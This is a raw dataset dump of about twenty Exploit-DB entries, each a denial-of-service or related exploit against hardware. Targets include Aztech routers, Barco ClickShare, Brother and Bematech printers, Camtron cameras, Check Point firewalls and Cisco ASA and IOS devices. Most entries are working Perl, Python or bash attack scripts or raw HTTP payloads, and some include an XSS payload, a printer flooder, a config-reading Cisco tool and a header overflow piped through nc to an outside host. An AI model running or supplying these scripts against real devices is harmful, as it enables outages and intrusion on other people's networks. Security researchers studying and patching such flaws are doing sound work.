deardaniel/secdata-raw huggingface dataset:
Exploit-DB #39315
Description: Aztech Routers - '/cgi-bin/AZ_Retrain.cgi' Denial of Service
Type: dos
Platform: hardware
Date: 2014-09-15
Author: Federick Joe P Fajardo

Exploit:
/*
source: https://www.securityfocus.com/bid/69809/info

Multiple Aztech routers are prone to a denial-of-service vulnerability.

Attackers may exploit this issue to cause an affected device to crash, resulting in a denial-of-service condition.

Aztech DSL5018EN, DSL705E and DSL705EU are vulnerable. 
*/

#!/usr/bin/perl
use strict;
use IO::Socket;

if(!defined($ARGV[0])) {
system ('clear');
print "---------------------------------------------\n";
print "++ Aztech Modem Denial of Service Attack\n";
print "++ Usage: perl $0 TARGET:PORT\n";
print "++ Ex: perl $0 192.168.254.254:80\n\n";
exit;
}

my $TARGET = $ARGV[0];
my ($HOST, $PORT)= split(':',$TARGET);
my $PATH = "%2f%63%67%69%2d%62%69%6e%2f%41%5a%5f%52%65%74%72%61%69%6e%2e%63%67%69";

system ('clear');
print "---------------------------------------------\n";
print "++ Resetting WAN modem $TARGET\n";

my $POST = "GET $PATH HTTP/1.1";
my $ACCEPT = "Accept: text/html";

my $sock = new IO::Socket::INET ( PeerAddr => "$HOST",PeerPort => "$PORT",Proto => "tcp"); die "[-] Can't creat socket: $!\n" unless $sock;

print $sock "$POST\n";
print $sock "$ACCEPT\n\n";
print "++ Sent. The modem should be disconnected by now.\n";
$sock->close();

exit;
Exploit-DB #44456
Description: Barco ClickShare CSE-200 - Remote Denial of Service
Type: dos
Platform: hardware
Date: 2018-04-16
Author: Florian Hauser

Exploit:
#!/usr/bin/python

# Exploit Title: Barco ClickShare CSE-200 - Remote Denial of Service
# Date: 11-04-2018
# Hardware Link: https://www.barco.com/de/product/clickshare-cse-200
# Exploit Author: Florian Hauser
# Contact: florian DOT g DOT hauser AT gmail DOT com
# CVE: requested by Barco
# Category: Hardware

#  Disclaimer:
#  This or previous programs is for Educational 
#  purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the 
#  fact that Florian Hauser is not liable for any 
#  damages caused by direct or indirect use of the 
#  information or functionality provided by these 
#  programs. The author or any Internet provider 
#  bears NO responsibility for content or misuse 
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact 
#  that any damage (dataloss, system crash, 
#  system compromise, etc.) caused by the use 
#  of these programs is not Florian Hauser's 
#  responsibility.
#   
#  Use them at your own risk!
################
# Vulnerability description (you have to be connected to the ClickShare WLAN for that, standard password is 'clickshare'):
# Sending arbitrary unexpected string to TCP port 7100 with respect to -> a certain time sequence <-
# not only disconnects all clients but also results in a crash of this hardware device
# Recover: Switch energy supply off for several minutes and reboot the system. Patches will be delivered in July 2018.
# I got permission from Barco to disclose this vulnerability.
# This affects potentially all other ClickShare products, Barco confirms

import socket
import sys
from time import sleep

if len(sys.argv) != 2:
	print "Usage: exploit.py <ip>"
	sys.exit(0)


# Sending random string until crash occurs. Max. of 50 seems definitely sufficient for that.
# 6-7 requests do the job usually
for x in range(1,50):
	#Create a new socket each time because otherwise the service drops the socket
	#Same request cannot be sent several times in sequence
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	
	#Connect to vulnerable TCP port 7100
	connect=s.connect((str(sys.argv[1]), 7100))
	s.send('some evil string \r\n\n')
	print "Buffer " + str(x) + " sent...\n"
	
	result=s.recv(1024)
	print result
	s.close()
	
	#Sleep for a few seconds because otherwise the service denies a socket creation but does not crash
	sleep(7)
Exploit-DB #21756
Description: Belkin F5D6130 Wireless Network Access Point - SNMP Request Denial of Service
Type: dos
Platform: hardware
Date: 2002-08-26
Author: wlanman

Exploit:
source: https://www.securityfocus.com/bid/5571/info

A denial of service vulnerability has been reported in the Belkin F5D6130 Wireless Network Access Point.

Reportedly, this issue may be exploited by making a sequence of SNMP requests. A valid community name is not required. After a number of SNMP requests are made, the device will fail to respond to further requests. Additionally, all wireless connections will be dropped, and new connections refused.

Under some conditions, the device may also fail to respond on the ethernet interface.

snmpwalk <ip address> <arbitrary objectID>
Exploit-DB #47648
Description: Bematech Printer MP-4200 - Denial of Service
Type: dos
Platform: hardware
Date: 2019-11-12
Author: Jonatas Fil

Exploit:
# Exploit Title: Bematech Printer MP-4200 - Denial of Service 
# Date: 2019-11-11
# Exploit Author: Jonatas Fil
# Vendor Homepage: https://www.bematech.com.br/
# Software Link: https://www.bematech.com.br/produto/mp-4200-th/
# Version: MP-4200 TH
# Tested on: Windows and Linux
# CVE : N/A

DoS Poc:
--------------------------------------------------------------------------------------------------------
POST /en/conf_admin.html HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/73.0.3683.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,pt;q=0.8
Cache-Control: max-age=0
Referer: http://TARGET/en/conf_admin.html
Content-Length: 40
Content-Type: application/x-www-form-urlencoded

admin=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&person=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&SUBMIT_ADMIN=Submit

--------------------------------------------------------------------------------------------------------
XSS Poc:
--------------------------------------------------------------------------------------------------------
POST /en/conf_admin.html HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/73.0.3683.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,pt;q=0.8
Cache-Control: max-age=0
Referer: http://printer.com/en/conf_admin.html
Content-Length: 40
Content-Type: application/x-www-form-urlencoded

admin=%3C%2Ftd%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&person=%3C%2Ftd%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&SUBMIT_ADMIN=Submit
Exploit-DB #17353
Description: Brother HL-5370DW - series Authentication Bypass printer flooder
Type: dos
Platform: hardware
Date: 2011-05-31
Author: chrisB

Exploit:
# Exploit Title: Brother HL-5370DW series auth bypass printer flooder
# Google Dork: Copyright(C) 2000-2009 Brother Industries, Ltd. All Rights Reserved. Brother HL-5370DW series
# Date: 31/05/2011
# Author: chrisB
# Contact : chrisb [@) gmx.fr
# Version: Brother HL-5370DW series

#!/usr/bin/perl
use LWP::Simple;

usage() unless $ARGV[1];

$replace = 'post/panel.html?EXECUTE2=PRTCONFIG';
$hint = $ARGV[1];
$goodurl = $ARGV[0];
$success = 0;
$goodurl =~ s/main.html/$replace/; 

 for ($count = $hint + 1; $count >= 1; $count--) {
 		$contents = get($goodurl);

	if($contents =~ m/acknowledged/i) 
	{
		$success++;
		print "success\n";
	} 
	else 
	{
		print "error, busy or no more paper\n";
	}
 }
 print "pages printed : $success \r\n"; 
	
sub usage 
{
 print qq( Brother HL-5370DW series auth bypass printer flooder
       
Usage: perl $0 [http://url.fr/printer/main.html] [hints]
                  
)   and exit;
}
Exploit-DB #15504
Description: Camtron CMNC-200 IP Camera - ActiveX Buffer Overflow
Type: dos
Platform: hardware
Date: 2010-11-13
Author: Trustwave's SpiderLabs

Exploit:
Finding 1: Buffer Overflow in ActiveX Control
CVE: CVE-2010-4230

The CMNC-200 IP Camera ActiveX control identified by
CLSID {DD01C8CA-5DA0-4B01-9603-B7194E561D32} is vulnerable
to a stack overflow on the first argument of the connect method.
The vulnerability can be used to set the EIP register,
allowing a reliable exploitation.

The example code below triggers the vulnerability.

<html>
<head><title>IPcam POC</title>
<script>
function Check(){
    var bf1 = 'A';
    while (bf1.length <= 6144) bf1 = bf1 + 'A';
    obj.connect(bf1,"BBBB","CCCC");
}
</script>
</head>
<body onload=" Check();">
<object classid="clsid:DD01C8CA-5DA0-4B01-9603-B7194E561D32"
id="obj">
</object>
</html></body>

Vendor Response:
No response received.

Remediation Steps:
No patch currently exists for this issue. To limit exposure,
network access to these devices should be limited to authorized
personnel through the use of Access Control Lists and proper
network segmentation.
Exploit-DB #15508
Description: Camtron CMNC-200 IP Camera - Denial of Service
Type: dos
Platform: hardware
Date: 2010-11-13
Author: Trustwave's SpiderLabs

Exploit:
Finding 5: Camera Denial of Service
CVE: CVE-2010-4234

The CMNC-200 IP Camera has a built-in web server that
is vulnerable to denial of service attacks. Sending multiple
requests in parallel to the web server may cause the camera
to reboot.

Requests with long cookie header makes the IP camera reboot a few
seconds faster, however the same can be accomplished with requests
of any size.

The example code below is able to reboot the IP cameras in
less than a minute in a local network.

#!/usr/bin/perl

use LWP::UserAgent;

while (1 == 1){

$ua = new LWP::UserAgent;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.8.1.6)");

$req = HTTP::Request->new(GET => 'http://192.168.10.100');
$req->header(Accept =>
"text/xml,application/xml,application/xhtml+xml,text/html
;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5");
$req->header("Keep-Alive" => 0);
$req->header(Connection => "close");
$req->header("If-Modified-Since" => "Mon, 12 Oct 2009
02:06:34 GMT");
$req->header(Cookie =>
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
my $res = $ua->request($req);

}
Exploit-DB #22876
Description: Canon GP300 - Remote GET Denial of Service
Type: dos
Platform: hardware
Date: 2003-07-07
Author: DOUHINE Davy

Exploit:
source: https://www.securityfocus.com/bid/8121/info

A problem in the Canon GP-300 has been reported in the handling of some types of malformed web requests. This issue could result in the denial of service to legitmate users of the print server.

GET /
Exploit-DB #19923
Description: Cayman 3220-H DSL Router 1.0/GatorSurf 5.3 - Denial of Service
Type: dos
Platform: hardware
Date: 2000-05-17
Author: cassius

Exploit:
source: https://www.securityfocus.com/bid/1219/info

Large usernames or passwords sent to the router's HTTP interface restart the router. Router log will show "restart not in response to admin command"

Open the router interface with your browser.
Username: ......................... (x79 +)
After the router restarts, you can hit refresh on your browser to take it down again. 

A simple script or program could be written to keep the router down indefinately.
Exploit-DB #23900
Description: CDP 0.33/0.4 - Console CD Player PrintTOC Function Buffer Overflow
Type: dos
Platform: hardware
Date: 2004-03-31
Author: Shaun Colley

Exploit:
source: https://www.securityfocus.com/bid/10021/info

It has been reported that cdp may be prone to a buffer overflow vulnerability that may allow an attacker to cause a denial of service condition in the software. The issue exists due to insufficient boundary checks performed by the printTOC() function. The buffer overflow condition may occur if when a song with a track name exceeding 200 bytes is accessed via the application.

If an attacker is able to overwrite sensitive memory locations, it may be possible to execute arbitrary instructions in the context of the user running cdp.

All versions of cdp are assumed to be vulnerable to this issue. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23900.tgz
Exploit-DB #47677
Description: Centova Cast 3.2.12 - Denial of Service (PoC)
Type: dos
Platform: hardware
Date: 2019-11-19
Author: DroidU

Exploit:
# Exploit Title: Centova Cast 3.2.12 - Denial of Service (PoC)
# Date: 2019-11-18
# Exploit Author: DroidU
# Vendor Homepage: https://centova.com
# Affected Version: <=v3.2.12
# Tested on: Debian 9, CentOS 7
# ===============================================
# The Centova Cast becomes out of control and causes 100% CPU load on all cores.

#!/bin/bash
if [ "$3" = "" ]
then
echo "Usage: $0 centovacast_url reseller/admin password"
exit
fi
url=$1
reseller=$2
pass=$3


dwn() {
echo -n .
curl -s -k --connect-timeout 5 -m 5 "$url/api.php?xm=system.database&f=json&a\[username\]=&a\[password\]=$reseller|$pass&a\[action\]=export&a\[filename\]=/dev/zero" &
}

for i in {0..32}
do
dwn /dev/zero
sleep .1
done
echo "
Done!"
Exploit-DB #33216
Description: Check Point Endpoint Security - Full Disk Encryption RDP Connection Denial of Service
Type: dos
Platform: hardware
Date: 2009-09-09
Author: Tim Medin

Exploit:
source: https://www.securityfocus.com/bid/36315/info

Check Point Software Endpoint Security Full Disk Encryption for Microsoft Windows is prone to a remote denial-of-service vulnerability.

Exploiting this issue will allow attackers to crash the affected computer, denying service to legitimate users.

NOTE: This BID was originally titled 'Microsoft Windows RDP Connection Denial of Service Vulnerability' based on preliminary reports. It has been updated to properly reflect the underlying issue. 

The following example is available:

for /L %i in (1,1,20) do mstsc /v:127.0.0.%i
Exploit-DB #8313
Description: Check Point Firewall-1 - PKI Web Service HTTP Header Remote Overflow
Type: dos
Platform: hardware
Date: 2009-03-30
Author: Bugs NotHugs

Exploit:
- Check Point Firewall-1 PKI Web Service HTTP Header Remote Overflow

- Description

The Check Point Firewall-1 PKI Web Service, running by default on TCP
port 18264, is vulnerable to a remote overflow in the handling of very
long HTTP headers. This was discovered during a pen-test where the
client would not allow further analysis and would not provide the full
product/version info. Initial testing indicates the 'Authorization'
and 'Referer' headers were vulnerable.

- Product

Check Point, Firewall-1, unknown

- PoC

perl -e 'print "GET / HTTP/1.0\r\nAuthorization: Basic" . "x" x 8192 .
"\r\nFrom: bugs@hugs.com\r\nIf-Modified-Since: Fri, 13 Dec 2006
09:12:58 GMT\r\nReferer: http://www.owasp.org/" . "x" x 8192 .
"\r\nUserAgent: FsckResponsibleDisclosure 1.0\r\n\r\n"' | nc
suckit.com 18264

- Solution

None

- Timeline

2006-11-06: Vulnerability Discovered
2009-03-29: Disclosed to Public

# milw0rm.com [2009-03-30]
Exploit-DB #19436
Description: Check Point Software Firewall-1 3.0/1 4.0 - Table Saturation Denial of Service
Type: dos
Platform: hardware
Date: 1999-07-29
Author: Lance Spitzner

Exploit:
source: https://www.securityfocus.com/bid/549/info

A denial of service condition exists in some implementations of Firewall-1 by Checkpoint Software. This denial of service attack is possible due to the way Firewall-1 handles TCP connections.

Typically to initiate a TCP connection, a SYN packet is sent to the destination host. On systems where Firewall-1 is installed, this packet is first passed through an internal stack maintained by the Firewall before it is passed onto the operating system's native stack. When Firewall-1 filters this packet, it checks it against the rule base. If the session is allowed where it's rulebase is concerned, it is added to the connections table with a timeout of 60 seconds. When the remote host responds with an ACK (Acknowledge) packet, the session is bumped up to a 3600 second timeout.

However, if you initiate a connection with an ACK packet, Firewall-1 compares it against the rule base, if allowed it is added to the connections table. However, the timeout is set to 3600 seconds and does not care if a remote system responds. You now have a session with a 1 hour timeout, even though no system responded. If this is done with a large amount of ACK packets, it will result in a full connections table. This results in your Firewall-1 refusing subsequent connections from any source effectively rendering the Firewall-1 useless in a 'failed closed' state. 

Most companies allow http outbound. Run this command as root from an internal system, I give your FW about 10 to 15 minutes. If your internal network is a 10.x.x.x, try 172.16.*.*

nmap -sP 10.*.*.*

nmap is a very powerful port scanner. With this command it does only a PING and TCP sweep (default port 80), but uses an ACK instead of a SYN.

To verify that your connections table is quickly growing, try "fw tab -t connections -s" at 10 second intervals.

Tested on ver 4.0 SP3 on Solaris x86 2.6.
Exploit-DB #25107
Description: Check Point VPN-1 SecureClient - IP Address Local Memory Access
Type: dos
Platform: hardware
Date: 2005-02-16
Author: Wang Ning

Exploit:
source: https://www.securityfocus.com/bid/12571/info

VPN-1 SecureClient is reported prone to a vulnerability that may allow local attackers to disclose sensitive memory. This can lead to various other attacks against a vulnerable computer. The vulnerability exists in the 'SR_Service.exe', which manages VPN connections.

A successful attack may allow the attacker to disclose memory and cause the application to crash. Reportedly, this issue can be leveraged to ultimately execute arbitrary code, however, this has not been confirmed.

VPN-1 SecureClient NG FP1 is reported prone to this vulnerability. It is possible that other versions are affected as well. 

'[PII_REDACTED]0[PII_REDACTED]5.047'
Exploit-DB #26754
Description: Check Point VPN-1 SecureClient 4.0 < 4.1 - Policy Bypass
Type: dos
Platform: hardware
Date: 2005-12-07
Author: Viktor Steinmann

Exploit:
source: https://www.securityfocus.com/bid/15757/info

VPN-1 SecureClient is reported prone to a policy bypass vulnerability. This issue is due to a failure of the application to securely implement remote administrator-provided policies on affected computers.

This issue allows remote VPN users to bypass the administratively-defined security policies. Specific issues arising from this vulnerability depend on the intended policies defined by administrators. Some examples of the consequences are: unauthorized computers may connect, scripts may not execute, or insecure network configurations may be possible. 

:Loop
copy x.scv local.scv
goto Loop
Exploit-DB #262
Description: Cisco (Multiple Products) - Automated Tool
Type: dos
Platform: hardware
Date: 2001-01-27
Author: hypoclear

Exploit:
#!/usr/bin/perl
#
# Written by hypoclear - http://hypoclear.cjb.net
# Thong-th-thong-th-thong.pl AKA thong.pl is a PERL script 
# which automates several attacks against various Cisco products.  
# To be specific:
#
# 12-13-00 - Cisco Catalyst ssh Protocol Mismatch DoS Vulnerability
# 11-28-00 - Cisco 675 Web Administration Denial of Service Vulnerability
# 10-26-00 - Cisco Catalyst 3500 XL Remote Arbitrary Command
# 10-25-00 - Cisco IOS Software HTTP Request DoS Vulnerability 
#
#   usage: ./thong.pl -h <host>

use IO::Socket; use Getopt::Std;
getopts('h:');

if (defined $opt_h)
 {
  $HOST = $opt_h; 
  $PORT; 
  $STRING = ""; 
  $menu_opt = "";

  menu();
  computeOption();
  exploit();
 }

else {print "\n\n usage ./thong.pl -h <host>\n\n"}

sub menu 
{
  print "\n\n     DATE     VULNERABILITY
  1. 12-13-00 - Cisco Catalyst ssh Protocol Mismatch DoS Vulnerability
  2. 11-28-00 - Cisco 675 Web Administration Denial of Service Vulnerability
  3. 10-26-00 - Cisco Catalyst 3500 XL Remote Arbitrary Command
  4. 10-25-00 - Cisco IOS Software HTTP Request DoS Vulnerability  

  Enter Option: ";
  $menu_opt = <STDIN>;
  chomp ($menu_opt);
}

sub computeOption
{
  if    ($menu_opt == "1"){$PORT = 22; $STRING = "this ain't SSH";}
  elsif ($menu_opt == "2"){$PORT = 80; $STRING = "GET ? HTTP/1.0\n\n";}
  elsif ($menu_opt == "3"){$PORT = 80; three();}
  elsif ($menu_opt == "4"){$PORT = 80; $STRING = "GET /error?/ HTTP/1.0\n\n";}
  else  {print "Select a real option!\n"; menu();}
}

sub three
{
  print "Enter file to read or enter D for default (/show/config/cr): ";
  $key = <STDIN>;
  chomp ($key);
  print "\nGetting $key...";

  if (($key eq "D")||($key eq "d"))
  {
    print "\nGetting /show/config/cr...\n"; 
    $STRING = "GET /exec/show/config/cr HTTP/1.0\n\n";
  }
  else 
  {
    print "\nGetting $key...\n";
    $STRING = "GET /exec$key HTTP/1.0\n\n";
  }
}

sub exploit
{
  print "\n\ntrying to exploit $HOST...\n";
 
  $SOCKET = IO::Socket::INET->new(PeerAddr => $HOST,
                                  PeerPort => $PORT,
                                  Proto    => "tcp")
         || die "Couldn't connect to $HOST\n";

  print "\n$STRING\n";
  print $SOCKET "$STRING";
 
  if ($menu_opt == 3){while (<$SOCKET>){print}}
  close($SOCKET);
}


# milw0rm.com [2001-01-27]
Exploit-DB #21971
Description: Cisco AS5350 - Universal Gateway Portscan Denial of Service
Type: dos
Platform: hardware
Date: 2002-10-28
Author: Thomas Munn

Exploit:
source: https://www.securityfocus.com/bid/6059/info

The Cisco AS5350 Universal Gateway is reported to be prone to a denial of service condition. It is possible to cause this condition by portscanning a vulnerable device.

This issue was reported for Cisco AS5350 devices running Cisco IOS release 12.2(11)T. Other firmware and devices may also be affected.

There are conflicting reports regarding the existence of this vulnerability. One source states that this condition reportedly does not occur if there are no Access Control Lists (ACL) applied on the device and also mentions that this may be related to a known SSH bug. Other sources have indicated that the issue may be related to a configuration problem. 

nmap -Tinsane -p 1-65535 <target>
Exploit-DB #43986
Description: Cisco ASA - Crash (PoC)
Type: dos
Platform: hardware
Date: 2018-02-07
Author: Sean Dillon

Exploit:
#
# Cisco ASA CVE-2018-0101 Crash PoC
#
# We basically just read:
# https://www.nccgroup.trust/globalassets/newsroom/uk/events/2018/02/reconbrx2018-robin-hood-vs-cisco-asa.pdf
#
# @zerosum0x0, @jennamagius, @aleph___naught
#

import requests, sys

headers = {}
headers['User-Agent'] = 'Open AnyConnect VPN Agent
v7.08-265-gae481214-dirty'
headers['Content-Type'] = 'application/x-www-form-urlencoded'
headers['X-Aggregate-Auth'] = '1'
headers['X-Transcend-Version'] = '1'
headers['Accept-Encoding'] = 'identity'
headers['Accept'] = '*/*'
headers['X-AnyConnect-Platform'] = 'linux-64'
headers['X-Support-HTTP-Auth'] = 'false'
headers['X-Pad'] = '[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]'

xml = """<?xml version="1.0" encoding="UTF-8"?>
<config-auth client="a" type="a" aggregate-auth-version="a">
    <host-scan-reply>A</host-scan-reply>
</config-auth>
"""

r = requests.post(sys.argv[1], data = xml, headers = headers, verify=False,
allow_redirects=False)

print(r.status_code)
print(r.headers)
print(r.text)